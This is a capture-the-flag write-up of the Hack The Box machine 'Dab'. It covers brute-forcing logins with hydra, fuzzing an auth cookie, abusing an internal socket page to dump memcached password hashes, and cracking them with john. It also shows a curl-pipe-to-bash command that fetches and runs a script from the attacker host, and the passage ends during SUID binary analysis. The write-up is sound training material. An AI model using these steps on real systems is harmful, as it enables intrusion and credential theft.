This article contains my first writeup on a machine from Hack The Box. If you have not checked out Hack The Box yet, I really suggest you do. Aside from providing classical CTF-style challenges, the plattform hosts plenty of vulnerable machines (boxes), which are supposed to be exploited. The boxes tend to be geared to realistic scenarios and are thus an awesome opportunity to increase your own pen testing skills.
In order to prove the exploitation of a machine, there are two different flag files stored on each machine. The first one to acquire is a file called user.txt
, which can be read by a low privileged user. The next step after initially exploiting the machine is to escalate privileges gaining access to an administrative user (root access). With this high privileged user a second file called root.txt
can be read. Both files contain a flag (an md5sum), which is supposed to be submitted on the Hack The Box website rewarding you with the corresponding points for this machine.
According to those two steps/files the article is divided into the following sections:
→ User
– Port Scan
– FTP (Port 21)
– SSH (Port 22)
– HTTP nginx (Port 80)
– HTTP nginx (Port 8080)
– Back to SSH
→ Root
– Initial Enumeration
– SUID binaries
– myexec
– libseclogin.so
– myexec’s password
– ldconfig
– Compile own shared Library
User
Port Scan
In order to get a quick overview of the most common opened ports we can run nmap -sV -sC 10.10.10.86
. The option -sV
enables the version detection of available services (eg. by evaluating the service’s banner). -sC
makes nmap run all default scripts for the available services:
root@kali:~/Documents/htb/boxes/dab# nmap -sV -sC 10.10.10.86
Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-12 06:38 EST
Nmap scan report for 10.10.10.86
Host is up (0.072s latency).
Not shown: 996 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r-- 1 0 0 8803 Mar 26 2018 dab.jpg
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.10.13.93
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 4
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 20:05:77:1e:73:66:bb:1e:7d:46:0f:65:50:2c:f9:0e (RSA)
| 256 61:ae:15:23:fc:bc:bc:29:13:06:f2:10:e0:0e:da:a0 (ECDSA)
|_ 256 2d:35:96:4c:5e:dd:5c:c0:63:f0:dc:86:f1:b1:76:b5 (ED25519)
80/tcp open http nginx 1.10.3 (Ubuntu)
|_http-server-header: nginx/1.10.3 (Ubuntu)
| http-title: Login
|_Requested resource was http://10.10.10.86/login
8080/tcp open http nginx 1.10.3 (Ubuntu)
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: nginx/1.10.3 (Ubuntu)
|_http-title: Internal Dev
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.58 seconds
Since nmap only scans the 1000 most common ports by default, we should also run nmap 10.10.10.86 -p-
to scan all 65535 ports. In this case this does not reveal any other open ports:
root@kali:~/Documents/htb/boxes/dab# nmap 10.10.10.86 -p-
Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-12 06:47 EST
Nmap scan report for 10.10.10.86
Host is up (0.040s latency).
Not shown: 65531 closed ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
8080/tcp open http-proxy
Nmap done: 1 IP address (1 host up) scanned in 52.29 seconds
The output of the first scan above contains detailed information on 4 running services on port 21
, 22
, 80
and 8080
. Let’s have a closer look at each of those services.
FTP (Port 21)
According to the nmap output, there is a vsftpd 3.0.3
listening on port 21:
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r-- 1 0 0 8803 Mar 26 2018 dab.jpg
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.10.13.93
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 4
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
Since we ran nmap with default scripts enabled (-sC
), it also tried to login anonymously. Obviously this was successful and the output lists a file called dab.jpg
. We can confirm this by using ftp
:
root@kali:~/Documents/htb/boxes/dab# ftp 10.10.10.86
Connected to 10.10.10.86.
220 (vsFTPd 3.0.3)
Name (10.10.10.86:root): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir -a
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x 2 0 120 4096 Mar 26 2018 .
drwxr-xr-x 2 0 120 4096 Mar 26 2018 ..
-rw-r--r-- 1 0 0 8803 Mar 26 2018 dab.jpg
226 Directory send OK.
For the password simply hit ENTER
. We can download the file using the command get dab.jpg
:
ftp> get dab.jpg
local: dab.jpg remote: dab.jpg
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for dab.jpg (8803 bytes).
226 Transfer complete.
8803 bytes received in 0.00 secs (239.8627 MB/s)
ftp>
The image itself does not seem to reveal any useful information:
Also the metadata, which we can inspect using exiftool
, do not seem to contain something useful:
root@kali:~/Documents/htb/boxes/dab# exiftool dab.jpg
ExifTool Version Number : 11.16
File Name : dab.jpg
Directory : .
File Size : 8.6 kB
File Modification Date/Time : 2019:01:14 08:53:28-05:00
File Access Date/Time : 2019:01:14 08:53:28-05:00
File Inode Change Date/Time : 2019:01:14 08:53:28-05:00
File Permissions : rw-r--r--
File Type : JPEG
File Type Extension : jpg
MIME Type : image/jpeg
JFIF Version : 1.01
Resolution Unit : inches
X Resolution : 96
Y Resolution : 96
Image Width : 151
Image Height : 132
Encoding Process : Baseline DCT, Huffman coding
Bits Per Sample : 8
Color Components : 3
Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2)
Image Size : 151x132
Megapixels : 0.020
A common quick win to reveal hidden information in a file is to use strings
or binwalk
. Though in this case, there is nothing interesting here:
root@kali:~/Documents/htb/boxes/dab# strings dab.jpg
JFIF
$3br
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
#3R
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
U,Za+M
@gyX
gztU
~QEjE
NBPt
...
root@kali:~/Documents/htb/boxes/dab# binwalk dab.jpg
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 JPEG image data, JFIF standard 1.01
As a next step we could try steganography tools like steghide
or stegoVeritas
. Since there are more services to look at, we proceed with those first.
SSH (Port 22)
According to the nmap output, the server is running OpenSSH 7.2p2
:
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 20:05:77:1e:73:66:bb:1e:7d:46:0f:65:50:2c:f9:0e (RSA)
| 256 61:ae:15:23:fc:bc:bc:29:13:06:f2:10:e0:0e:da:a0 (ECDSA)
|_ 256 2d:35:96:4c:5e:dd:5c:c0:63:f0:dc:86:f1:b1:76:b5 (ED25519)
This version is vulnerable to CVE-2018-15473, which can be used to determine if a given username exists or not. This can for example be done using this script:
root@kali:/opt/ssh-user-enum# ./ssh-check-username.py 10.10.10.86 root
[+] Valid username
root@kali:/opt/ssh-user-enum# ./ssh-check-username.py 10.10.10.86 www-data
[+] Valid username
root@kali:/opt/ssh-user-enum# ./ssh-check-username.py 10.10.10.86 ftp
[+] Valid username
root@kali:/opt/ssh-user-enum# ./ssh-check-username.py 10.10.10.86 dab
[*] Invalid username
root@kali:/opt/ssh-user-enum# ./ssh-check-username.py 10.10.10.86 user
[*] Invalid username
Despite of verifying some common usernames this does not gives us a great advantage for now. So let’s proceed with the next service.
HTTP nginx (Port 80)
On port 80 a nginx webserver is listening:
80/tcp open http nginx 1.10.3 (Ubuntu)
|_http-server-header: nginx/1.10.3 (Ubuntu)
| http-title: Login
|_Requested resource was http://10.10.10.86/login
Accessing the website, we are redirected to a login page at /login
:
Using default credentials (admin
/ admin
) displays the error message Error: Login failed
:
In order to find a valid login we can use hydra
using a password wordlist from SecLists:
root@kali:~/Documents/htb/boxes/dab# hydra 10.10.10.86 -l admin -P /usr/share/wordlists/SecLists/Passwords/probable-v2-top12000.txt http-post-form "/login:username=^USER^&password=^PASS^:Login failed"
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (http://www.thc.org/thc-hydra) starting at 2019-01-15 01:01:49
[DATA] max 16 tasks per 1 server, overall 16 tasks, 12645 login tries (l:1/p:12645), ~791 tries per task
[DATA] attacking http-post-form://10.10.10.86:80//login:username=^USER^&password=^PASS^:Login failed
[80][http-post-form] host: 10.10.10.86 login: admin password: Password1
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2019-01-15 01:02:32
A quick explaination of the used options:
Option | Description |
-l admin |
For every login attempt use the username “admin”. |
-P /usr/share/wordlists/... |
For the password use words from the given wordlist. |
http-post-form |
The request method is POST. |
"/login:username=^USER^&password=^PASS^:Login failed"" |
The request URL is /login . The POST parameters are username and password , which are set by hydra. A failed login attempt can be identified by the string “Login failed” |
With the credentials revealed by hydra (admin
/ Password1
) we can login to the page, which simply lists a bunch of stock items:
Aside of a debug comment in the sourcecode stating that the data tables were loaded from MySQL, there is nothing really noticeable:
<html>
<head>
<title>Items in stock</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
</head>
<body>
<div class="container">
<h2>Welcome admin</h2>
<a href="/logout">Logout</a>
<h3>Items in stock (database updated every few hours)</h3>
<!-- Debug... data tables were loaded from : MySQL DB -->
<table>
<thead>
<th>
<tr>
<th>Item</th>
<th>Qty</th>
</tr>
</th>
</thead>
<tbody>
When we reload the page, the ordering of the stock items changes and the comment in the sourcecode now states Debug... data tables were loaded from : Cache
:
<html>
<head>
<title>Items in stock</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
</head>
<body>
<div class="container">
<h2>Welcome admin</h2>
<a href="/logout">Logout</a>
<h3>Items in stock (database updated every few hours)</h3>
<!-- Debug... data tables were loaded from : Cache -->
<table>
Since there does not seem to be any other functionalities, let’s keep the sightings in mind and proceed with the next service.
HTTP nginx (Port 8080)
There is another nginx webserver listening on port 8080:
8080/tcp open http nginx 1.10.3 (Ubuntu)
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: nginx/1.10.3 (Ubuntu)
|_http-title: Internal Dev
The website’s title is called Internal Dev
displaying the error message Access denied: password authentication cookie not set
:
Obviously we need to set an authentication cookie to access the page. Since we do not know the name of the cookie, we can use wfuzz
to try different cookies and observe the server’s response:
root@kali:~/Documents/htb/boxes/dab# wfuzz -w /usr/share/wordlists/SecLists/Discovery/Web-Content/burp-parameter-names.txt -b 'FUZZ=1' http://10.10.10.86:8080
Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 2.3 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.86:8080/
Total requests: 2588
==================================================================
ID Response Lines Word Chars Payload
==================================================================
000001: C=200 14 L 30 W 322 Ch "id"
000002: C=200 14 L 30 W 322 Ch "action"
000003: C=200 14 L 30 W 322 Ch "page"
000004: C=200 14 L 30 W 322 Ch "name"
000005: C=200 14 L 29 W 324 Ch "password"
000006: C=200 14 L 30 W 322 Ch "url"
000007: C=200 14 L 30 W 322 Ch "email"
000008: C=200 14 L 30 W 322 Ch "type"
000009: C=200 14 L 30 W 322 Ch "username"
000010: C=200 14 L 30 W 322 Ch "file"
000011: C=200 14 L 30 W 322 Ch "title"
000012: C=200 14 L 30 W 322 Ch "code"
...
A quick explaination of the used options:
Option | Description |
-w /usr/share/wordlists/... |
The wordlist to use for fuzzing (this this case burp-parameter-names.txt ). |
-b 'FUZZ=1' |
Set a cookie in the request. For the name use the fuzz input from the given wordlist. |
http://10.10.10.86:8080 |
The URL to fuzz. |
Within every line wfuzz reports how the server responded for a specific payload (cookie name) displaying the status code (e.g. C=200
), the line count (e.g. 14 L
), the word count (e.g. 30 W
) and the character count (e.g. 322 Ch
). Intently examining the first lines of output we can already see, that the response for the payload password
differs from the others (29 W, 324 Ch
). In order to make different responses like this stick out, we can set a filter. By providing the option --hh 322
we can for example hide responses, which contain exactely 322 characters:
root@kali:~/Documents/htb/boxes/dab# wfuzz --hh 322 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/burp-parameter-names.txt -b 'FUZZ=1' http://10.10.10.86:8080
Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 2.3 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.86:8080/
Total requests: 2588
==================================================================
ID Response Lines Word Chars Payload
==================================================================
000005: C=200 14 L 29 W 324 Ch "password"
Total time: 7.577409
Processed Requests: 2588
Filtered Requests: 2587
Requests/sec.: 341.5415
Using the filter we can see at a glance that the payload password
differs from the others. Now we can make a request setting a cookie named password
and see what the response actually contains:
root@kali:~/Documents/htb/boxes/dab# curl http://10.10.10.86:8080 --cookie "password=1"
<!DOCTYPE html>
<html lang="en">
<head>
<title>Internal Dev</title>
<meta charset="UTF-8">
<meta name="viewport" content="initial-scale=1, maximum-scale=1, user-scalable=no, width=device-width">
</head>
<body>
<div class="container wrapper">
Access denied: password authentication cookie incorrect
</div>
</body>
</html>
There is another error message: Access denied: password authentication cookie incorrect
. This means that the name of the cookie (password
) is correct, but the value (we simply supplied 1 here) is not correct. Again we can use wfuzz
to fuzz the actual value. This time we hide responses containing 324 characters:
root@kali:~/Documents/htb/boxes/dab# wfuzz --hh 324 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/burp-parameter-names.txt -b 'password=FUZZ' http://10.10.10.86:8080
Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 2.3 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.86:8080/
Total requests: 2588
==================================================================
ID Response Lines Word Chars Payload
==================================================================
000190: C=200 21 L 48 W 540 Ch "secret"
Total time: 7.729689
Processed Requests: 2588
Filtered Requests: 2587
Requests/sec.: 334.8129
Yet again, there is a reponse sticking out. This time for the payload secret
. Let’s make the corresponding request and inspect the response’s content:
root@kali:~/Documents/htb/boxes/dab# curl http://10.10.10.86:8080 --cookie "password=secret"
<!DOCTYPE html>
<html lang="en">
<head>
<title>Internal Dev</title>
<meta charset="UTF-8">
<meta name="viewport" content="initial-scale=1, maximum-scale=1, user-scalable=no, width=device-width">
</head>
<body>
<div class="container wrapper">
<p>Status of cache engine: Online</p>
<h4>TCP socket test</h4>
<form action="/socket">
<input type="text" name="port" placeholder="TCP port"></input>
<input type="text" name="cmd" placeholder="Line to send..."></input>
<input type="submit" value="Submit"</input>
</form>
</div>
</body>
</html>
The page contains a TCP socket test
with a form fields TCP port
and Line to send...
. By setting the cookie within our browser (e.g. using Cookie Manager) we can view the rendered page:
After having tried different ports and comparing the output with our nmap scan, we can be quite sure that the page is making connections to the server itself:
root@kali:~/Documents/htb/boxes/dab# curl 'http://10.10.10.86:8080/socket?port=21&cmd=a' --cookie "password=secret"
...
<p>Output</p>
<pre>
220 (vsFTPd 3.0.3)
530 Please login with USER and PASS.
root@kali:~/Documents/htb/boxes/dab# curl 'http://10.10.10.86:8080/socket?port=22&cmd=a' --cookie "password=secret"
...
<p>Output</p>
<pre>
SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.4
Protocol mismatch.
root@kali:~/Documents/htb/boxes/dab# curl 'http://10.10.10.86:8080/socket?port=80&cmd=a' --cookie "password=secret"
...
<p>Output</p>
<pre>
HTTP/1.1 400 Bad Request
Server: nginx/1.10.3 (Ubuntu)
Date: Tue, 15 Jan 2019 07:04:51 GMT
Content-Type: text/html
Content-Length: 182
Connection: close
So what can we use this for? We also reached the ports above (21, 22, 80) from our own machine. Truly interesting are ports, which cannot be reached from our own machine, because there are listing on localhost. Those ports can be accessed through the webpage, because the page is running on the server itself.
If we try to access a port, which is not open, the server responses with 500 Internal Server Error
. So we can create a bash-loop to internally scan for open ports:
root@kali:~/Documents/htb/boxes/dab# for i in `seq 1 20000`; do echo "port=$i"; curl 'http://10.10.10.86:8080/socket?port='$i'&cmd=test' --cookie 'password=secret' 2>/dev/null | tr -d '\n' | grep -v '500 Internal Server Error' ;done > internalports.txt
This loop scans the first 20000 ports and really takes some time. Actually we already stumbled upon some hints, which port we should look for. Within the sourcecode of the website on port 80, we saw a debug comment stating that the data was loaded from MySQL. Also the TCP socket test
website on port 8080 displays the message Status of cache engine: Online
. This should lead us to memcached, which is by default listing on port 11211. After our internal port scan loop reaches this port, it actually verifies that there is something listening on port 11211:
root@kali:~/Documents/htb/boxes/dab# cat internalports.txt | grep -v 'port=' -B1
port=21
<!DOCTYPE html><html lang="en"><head><title>Internal Dev</title> <meta charset="UTF-8"> <meta name="viewport" content="initial-scale=1, maximum-scale=1, user-scalable=no, width=device-width"></head><body><div class="container wrapper"><p>Status of cache engine: Online</p><h4>TCP socket test</h4><form action="/socket"><input type="text" name="port" placeholder="TCP port"></input><input type="text" name="cmd" placeholder="Line to send..."></i</pre></div></body></html> and PASS.mit"</input></form><p>Output</p><pre>220 (vsFTPd 3.0.3)
port=22
<!DOCTYPE html><html lang="en"><head><title>Internal Dev</title> <meta charset="UTF-8"> <meta name="viewport" content="initial-scale=1, maximum-scale=1, user-scalable=no, width=device-width"></head><body><div class="container wrapper"><p>Status of cache engine: Online</p><h4>TCP socket test</h4><form action="/socket"><input type="text" name="port" placeholder="TCP port"></input><input type="text" name="cmd" placeholder="Line to send..."></iProtocol mismatch.</pre></div></body></html>put></form><p>Output</p><pre>SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.4
--
port=80
<!DOCTYPE html><html lang="en"><head><title>Internal Dev</title> <meta charset="UTF-8"> <meta name="viewport" content="initial-scale=1, maximum-scale=1, user-scalable=no, width=device-width"></head><body><div class="container wrapper"><p>Status of cache engine: Online</p><h4>TCP socket test</h4><form action="/socket"><input type="text" name="port" placeholder="TCP port"></input><input type="text" name="cmd" placeholder="Line to send..."></i</pre></div></body></html>inx/1.10.3 (Ubuntu)</center>r>t;><pre>HTTP/1.1 400 Bad Request
--
port=8080
<!DOCTYPE html><html lang="en"><head><title>Internal Dev</title> <meta charset="UTF-8"> <meta name="viewport" content="initial-scale=1, maximum-scale=1, user-scalable=no, width=device-width"></head><body><div class="container wrapper"><p>Status of cache engine: Online</p><h4>TCP socket test</h4><form action="/socket"><input type="text" name="port" placeholder="TCP port"></input><input type="text" name="cmd" placeholder="Line to send..."></i</pre></div></body></html>inx/1.10.3 (Ubuntu)</center>r>t;><pre>HTTP/1.1 400 Bad Request
--
port=11211
<!DOCTYPE html><html lang="en"><head><title>Internal Dev</title> <meta charset="UTF-8"> <meta name="viewport" content="initial-scale=1, maximum-scale=1, user-scalable=no, width=device-width"></head><body><div class="container wrapper"><p>Status of cache engine: Online</p><h4>TCP socket test</h4><form action="/socket"><input type="text" name="port" placeholder="TCP port"></input><input type="text" name="cmd" placeholder="Line to send..."></i</pre></div></body></html>value="Submit"</input></form><p>Output</p><pre>ERROR
memcached is a key-value based cache, which purpose is to hold data from a database like MySQL in the RAM to make it available more quickly. With a little bit of research the required commands to display all keys can be found.
At first we use the command stats items
to list the slab ids:
root@kali:~/Documents/htb/boxes/dab# curl 'http://10.10.10.86:8080/socket?port=11211&cmd=stats%20items' --cookie "password=secret"
...
<p>Output</p>
<pre>
STAT items:16:number 1
STAT items:16:age 833
STAT items:16:evicted 0
STAT items:16:evicted_nonzero 0
STAT items:16:evicted_time 0
STAT items:16:outofmemory 0
STAT items:16:tailrepairs 0
STAT items:16:reclaimed 0
STAT items:16:expired_unfetched 0
STAT items:16:evicted_unfetched 0
STAT items:16:crawler_reclaimed 0
STAT items:16:crawler_items_checked 0
STAT items:16:lrutail_reflocked 0
STAT items:26:number 1
STAT items:26:age 833
STAT items:26:evicted 0
STAT items:26:evicted_nonzero 0
STAT items:26:evicted_time 0
STAT items:26:outofmemory 0
STAT items:26:tailrepairs 0
STAT items:26:reclaimed 0
STAT items:26:expired_unfetched 0
STAT items:26:evicted_unfetched 0
STAT items:26:crawler_reclaimed 0
STAT items:26:crawler_items_checked 0
STAT items:26:lrutail_reflocked 0
END
With the slab ids we can dump the actual keys using the command stats cachedump <slabid> <limit>
:
root@kali:~/Documents/htb/boxes/dab# curl 'http://10.10.10.86:8080/socket?port=11211&cmd=stats%20cachedump%2026%20100' --cookie "password=secret"
...
<p>Output</p>
<pre>
ITEM users [24625 b; 1547538384 s]
END
There is a key users
which we can dump using the command get users
:
root@kali:~/Documents/htb/boxes/dab# curl 'http://10.10.10.86:8080/socket?port=11211&cmd=get%20users' --cookie "password=secret"
...
<p>Output</p>
<pre>
VALUE users 0 24625
{"quinton_dach": "17906b445a05dc42f78ae86a92a57bbd", "jackie.abbott": "c6ab361604c4691f78958d6289910d21", ...
Great! We obviously got plenty of usernames and hashed passwords. Please notice that you had to be logged in on the stock item website on port 80 recently for the cache to actually contain data.
We can simply pipe the output to a file and adjust the formatting a little bit (replace html-encoding, add new lines, …):
root@kali:~/Documents/htb/boxes/dab# cat users2.txt | head
quinton_dach:17906b445a05dc42f78ae86a92a57bbd
jackie.abbott:c6ab361604c4691f78958d6289910d21
isidro:e4a4c90483d2ef61de42af1f044087f3
roy:afbde995441e19497fe0695e9c539266
colleen:d3792794c3143f7e04fd57dc8b085cd4
harrison.hessel:bc5f9b43a0336253ff947a4f8dbdb74f
asa.christiansen:d7505316e9a10fc113126f808663b5a4
jessie:71f08b45555acc5259bcefa3af63f4e1
milton_hintz:8f61be2ebfc66a5f2496bbf849c89b84
demario_homenick:2c22da161f085a9aba62b9bbedbd4ca7
The hash-values seem to be md5. We can verify this by using the password for the username admin
, which we already revealed using hydra:
root@kali:~/Documents/htb/boxes/dab# echo -n "Password1" | md5sum
2ac9cb7dc02b3c0083eb70898e549b63 -
root@kali:~/Documents/htb/boxes/dab# cat users2.txt | grep admin
admin:2ac9cb7dc02b3c0083eb70898e549b63
That is a match. Let’s run john
on the file to crack more passwords:
root@kali:~/Documents/htb/boxes/dab# john users2.txt --format=Raw-MD5
Created directory: /root/.john
Using default input encoding: UTF-8
Loaded 495 password hashes with no different salts (Raw-MD5 [MD5 128/128 AVX 4x3])
Press 'q' or Ctrl-C to abort, almost any other key for status
default (default)
demo (demo)
Princess1 (genevieve)
Password1 (admin)
piggy (abbigail)
blaster (alec)
megadeth (wendell)
misfits (aglae)
monkeyman (ona)
...
After letting john run for a while, we can output the cracked credentials to a file:
root@kali:~/Documents/htb/boxes/dab# john users2.txt --format=Raw-MD5 --show > users_cracked.txt
Back to SSH
Now we can try to access SSH with those credentials. Again we can use hydra
for this supplying the file with the username:password
combination (delete the last two lines from the john output beforehand):
root@kali:~/Documents/htb/boxes/dab# hydra -C users_cracked.txt 10.10.10.86 ssh
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (http://www.thc.org/thc-hydra) starting at 2019-01-15 03:20:11
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 9 tasks per 1 server, overall 9 tasks, 9 login tries, ~1 try per task
[DATA] attacking ssh://10.10.10.86:22/
[22][ssh] host: 10.10.10.86 login: genevieve password: Princess1
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2019-01-15 03:20:14
Nice! We found valid credentials for SSH: genevieve:Princess1
. Let’s verify this by connecting with SSH:
root@kali:~/Documents/htb/boxes/dab# ssh genevieve@10.10.10.86
genevieve@10.10.10.86's password:
Welcome to Ubuntu 16.04.5 LTS (GNU/Linux 4.4.0-133-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
0 packages can be updated.
0 updates are security updates.
Last login: Tue Jan 15 03:10:06 2019 from 10.10.13.71
genevieve@dab:~$ id
uid=1000(genevieve) gid=1000(genevieve) groups=1000(genevieve)
genevieve@dab:~$
We successfully logged in. Now we can read the first flag file user.txt
:
genevieve@dab:~$ ls -al
total 36
drwxr-xr-x 4 genevieve genevieve 4096 Jan 15 03:17 .
drwxr-xr-x 3 root root 4096 Mar 19 2018 ..
lrwxrwxrwx 1 root root 9 Aug 15 06:22 .bash_history -> /dev/null
-rw-r--r-- 1 genevieve genevieve 220 Mar 19 2018 .bash_logout
-rw-r--r-- 1 genevieve genevieve 3793 Mar 25 2018 .bashrc
drwx------ 2 genevieve genevieve 4096 Jan 15 03:19 .cache
-rw-r--r-- 1 genevieve genevieve 655 Mar 19 2018 .profile
drwx------ 2 genevieve genevieve 4096 Jan 15 02:01 .ssh
-r-------- 1 genevieve genevieve 33 Mar 19 2018 user.txt
-rw------- 1 genevieve genevieve 991 Jan 15 03:17 .viminfo
genevieve@dab:~$ cat user.txt
9bcd ... (output truncated)
I truncated the output to avoid the temptation of just copy/pasting the flag.
After successfully gaining access to the machine as a user, we now proceed with the privilege escalation to root.
Root
Initial Enumeration
A good way to initially enumerate a system is LinEnum. In order to run the LinEnum.sh
script, we host it on our attacker machine using python -m SimpleHTTPServer
…
root@kali:~/Documents/htb/boxes/dab# wget https://github.com/rebootuser/LinEnum/raw/master/LinEnum.sh
--2019-01-15 04:23:40-- https://github.com/rebootuser/LinEnum/raw/master/LinEnum.sh
Resolving github.com (github.com)... 192.30.253.112, 192.30.253.113
Connecting to github.com (github.com)|192.30.253.112|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh [following]
--2019-01-15 04:23:40-- https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 151.101.12.133
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|151.101.12.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 45578 (45K) [text/plain]
Saving to: ‘LinEnum.sh’
LinEnum.sh 100%[===============================================================>] 44.51K --.-KB/s in 0.02s
2019-01-15 04:23:40 (2.88 MB/s) - ‘LinEnum.sh’ saved [45578/45578]
root@kali:~/Documents/htb/boxes/dab# python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
… and pipe it to bash
on the target machine. This way we directly execute the script and do not leave traces by downloading it to disk:
genevieve@dab:~$ curl http://10.10.12.142:8000/LinEnum.sh | bash
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 45578 100 45578 0 0 598k 0 --:--:-- --:--:-- --:--:-- 601k
#########################################################
# Local Linux Enumeration & Privilege Escalation Script #
#########################################################
# www.rebootuser.com
# version 0.94
[-] Debug Info
[+] Thorough tests = Disabled (SUID/GUID checks will not be perfomed!)
Scan started at:
Tue Jan 15 04:24:16 EST 2019
### SYSTEM ##############################################
[-] Kernel information:
Linux dab 4.4.0-133-generic #159-Ubuntu SMP Fri Aug 10 07:31:43 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
[-] Kernel information (continued):
Linux version 4.4.0-133-generic (buildd@lgw01-amd64-029) (gcc version 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.04.10) ) #159-Ubuntu SMP Fri Aug 10 07:31:43 UTC 2018
...
After examining the output we get a general idea of the basic configuration of the system. Since there are no real striking abnormalities, we keep on looking for escalation possibilities manually.
SUID binaries
One common way to escalate privileges are vulnerable SUID binaries. These can be identified by enabling thorough tests in the LinEnum.sh
script, but we can also search for those binaries using find
:
genevieve@dab:~$ find / -xdev -perm -4000 2>/dev/null
/bin/umount
/bin/ping
/bin/ping6
/bin/su
/bin/ntfs-3g
/bin/fusermount
/bin/mount
/usr/bin/at
/usr/bin/newuidmap
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/newgidmap
/usr/bin/myexec
/usr/bin/pkexec
/usr/bin/chfn
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/snapd/snap-confine
/usr/lib/openssh/ssh-keysign
/sbin/ldconfig
/sbin/ldconfig.real
A quick explanation of the used options:
Option | Description |
/ |
Start searching from the root-directory. |
-xdev |
Don’t descend directories on other filesystems (mainly to exclude /dev , /proc and /sys ). |
-perm -4000 |
Search for files/directories with the SUID bit set. |
In order to spot abnormalities here, it is very helpful if you have already some experience in knowing which files are usually SUID binaries. Of course you can also run the find
command on an untouched reference machine and compare the results.
One file which sticks out here is /usr/bin/myexec
, which does not exist by default. Also the SUID bit of /sbin/ldconfig
and /sbin/ldconfig.real
is usually not set.
myexec
In order to analyze the file /usr/bin/myexec
we download it to our attacker machine:
root@kali:~/Documents/htb/boxes/dab# scp genevieve@10.10.10.86:/usr/bin/myexec .
genevieve@10.10.10.86's password:
myexec 100% 8864 421.8KB/s 00:00
Now we can use radare2
to analyze the binary disassembling the main
function:
root@kali:~/Documents/htb/boxes/dab# r2 -A myexec
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[x] Type matching analysis for all functions (afta)
[x] Use -AA or aaaa to perform additional experimental analysis.
[0x00400740]> afl
0x00400690 3 26 sym._init
0x004006c0 1 6 sym.imp.puts
0x004006d0 1 6 sym.imp.__stack_chk_fail
